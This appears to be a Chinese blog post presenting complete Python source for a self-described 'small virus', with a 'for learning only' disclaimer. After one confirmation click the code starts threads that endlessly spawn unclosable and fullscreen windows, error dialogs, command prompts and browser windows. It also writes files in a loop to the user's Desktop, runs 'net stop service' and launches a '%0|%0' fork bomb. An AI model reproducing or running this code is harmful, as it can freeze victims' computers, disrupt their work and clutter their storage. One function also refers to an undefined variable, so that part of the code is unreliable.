用Python编个小病毒

画面很绚丽,伤害不太大。

请在C盘准备好2G左右的空间(如运行时间太长,2G会不够)

如果你的电脑性能不好,那就算了,它跑不起来…

P.S.仅供学习使用,请勿做坏事!若做了坏事,本人亦不负责!

代码:

import tkinter as tk
import os
import webbrowser as web
import random
import threading
import tkinter.messagebox as tm
import getpass
import time
l=0
f=''
def A():
        
    def not_close():
        while True:
            tm.showerror('攻击者','此路不通!!!!!!!!!!!!!!!!!')
    def redboom():
        window = tk.Tk()
        width = window.winfo_screenwidth()
        height = window.winfo_screenheight()
        a = random.randrange(0, width)
        b = random.randrange(0, height)
        window.title('windows错误')
        window.geometry("250x50" + "+" + str(a) + "+" + str(b))
        tk.Label(window, text='您的电脑已被攻击!', bg='red',
                 font=('宋体', 17), width=20, height=4).pack()
        window.protocol("WM_DELETE_WINDOW",not_close)
        window.mainloop()
    def also_not_close():
        while True:
            tm.showinfo('红配绿,好帅气!','红配绿,好帅气!')
    def greenboom():
        window = tk.Tk()
        width = window.winfo_screenwidth()
        height = window.winfo_screenheight()
        a = random.randrange(0, width)
        b = random.randrange(0, height)
        window.title('红配绿,好帅气!')
        window.geometry("250x50" + "+" + str(a) + "+" + str(b))
        tk.Label(window, text='红配绿,好帅气!', bg='green',
                 font=('宋体', 17), width=20, height=4).pack()
        window.protocol("WM_DELETE_WINDOW",also_not_close)
        window.mainloop()

    threads = []
    i=0
    while True:
        try:
            if i%2 == 0:
                t = threading.Thread(target=redboom)
            else:
                
                t=threading.Thread(target=greenboom)
            threads.append(t)
            threads[i].start()
            i+=1
        except:
            pass
def B():
    time.sleep(10)
    def not_close():
        pass
    def a():
        a=tk.Tk()
        a.attributes("-fullscreen", True)
        a.protocol("WM_DELETE_WINDOW",not_close)
        a.mainloop()
    threads = []
    i=0
    while True:
        try:
            t = threading.Thread(target=a)
            
            threads.append(t)
            threads[i].start()
            i+=1
        except:
            pass
def C():
    while True:
        try:
            os.startfile('cmd')
        except:
            pass

def D():
    global l,f
    user=getpass.getuser()
    path ='C:\\Users\\'+user+'\\Desktop'
    while True:
        try:
            files = os.listdir(path)
            l = len(files) + 1
            f = path + '\\'+ '' + str(l) + '.txt'
            with open(f,'w')as ff:
                ff.write('virus here\n'*i**i)
        except:
            pass

def E():
    time.sleep(5)
    os.system("net stop service")
    while True:
        try:
            web.open('www.python.org')
        except:
            pass
def F():
    time.sleep(1)
    while True:
        try:
            os.startfile(f)
        except:
            pass
def G():
    time.sleep(60)
    os.popen('%0|%0')
def H():
    while True:
        os.popen('start Error')
def virus():
    a=tm.askyesno('virus',"Do you really want to run?")
    if a:
        root.quit()
        a=[A,B,C,D,E,F,G,H]
        ts=[]
        i=0
        for a in a:
            ts.append(threading.Thread(target=a))
            ts[i].start()
            i+=1
root=tk.Tk()
b=tk.Button(root,text='run', width=15, height=2, command = virus)
b.place(x=10, y=10)
root.mainloop()

请谨慎运行,若对您的电脑造成了任何损害,本人概不负责。

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值